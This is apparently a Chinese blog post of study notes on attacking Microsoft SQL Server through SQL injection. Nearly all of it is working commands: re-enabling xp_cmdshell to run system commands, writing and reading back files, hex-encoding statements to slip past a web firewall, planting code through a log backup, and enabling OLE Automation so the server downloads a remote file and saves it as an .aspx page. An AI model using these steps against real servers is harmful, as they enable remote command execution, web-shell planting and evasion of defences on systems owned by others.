mssql注入学习(一)

权限探测

select HOST_NAME(),@@SERVERNAME;

利用and逻辑语句判断是否站库分离
判断xp_cmdshell是否开启?
存储过程中的xp_cmdshell可执行系统命令,是后续提权操作的主要方式,从MSSQL2005版本之后,默认关闭,如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启
首先判断xp_cmdshell是否开启,1为打开,0为关闭

select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

如果关闭,逐步执行下列语句

execute('sp_configure "show advanced options",1')将该选项的值设置为1
execute('reconfigure')保存设置
execute('sp_configure "xp_cmdshell", 1')将xp_cmdshell的值设置为1
execute('reconfigure')保存设置
execute('sp_configure')查看配置
execute('xp_cmdshell "whoami"')执行系统命令

exec sp_configure 'show advanced options',1;将该选项的值设置为1
reconfigure;保存设置
exec sp_configure 'xp_cmdshell',1;将xp_cmdshell的值设置为1
reconfigure;保存设置
exec sp_configure查看配置
exec xp_cmdshell 'whoami'执行系统命令

文件操作
(1)xp_cmdshell执行系统命令写入文件
写入文件

exec xp_cmdshell 'whoami > D:/test.txt'

D:/test.txt中被写入nt service\mssqlserver
转存入表

create table result1(res varchar(8000));创建表
bulk insert master.dbo.result1 from 'D:/test.txt';插入大量数据
select * from master.dbo.result1;查询结果

遇到waf,可以通过16进制编码绕过

declare @s varchar(4000) set @s=CAST(0x64726f70207461626c6520726573756c74313b as varchar(4000));
exec(@s);

drop table result1;或其它语句转成十六进制后执行
(2)dbowner权限下进行扩展攻击利用
数据库必须进行过备份操作

alter database test set recovery full;
create table test.dbo.test(str image);
insert into test.dbo.test(str) values('恶意代码');
backup log test to disk='D:/1.txt' with init--+修改备份路径,并执行备份操作

备份结果用笔记本编码会乱码,使用sublime,File --> Reopen with encoding --> Hexadecimal
(3)sp_oacreate存储下载的远程文件
设置 'show advanced options’和 ‘Ole Automation Procedures’ 为1

sp_configure 'show advanced option', '1';
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', '1';
GO
RECONFIGURE;
GO

执行

DECLARE @B varbinary(8000),@hr int,@http INT,@down INT;
exec sp_oacreate[Microsoft.XMLHTTP],@http output
EXEC @hr=sp_oamethod @http,[Open],null,[GET],[https://www.ichunqiu.com/robots.txt],0
EXEC @hr=sp_oamethod @http,[Send],null
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output
EXEC @hr=sp_oacreate [ADODB.Stream],@down output
EXEC @hr=sp_OASetProperty @down,[Type],1
EXEC @hr=sp_OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null
EXEC @hr=sp_oamethod @down,[Write],null,@B
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[D:\sql.aspx],1

就不会报错,并且成功下载

posted @ 2020-03-19 20:42  range1128  阅读(386)  评论(0)    收藏  举报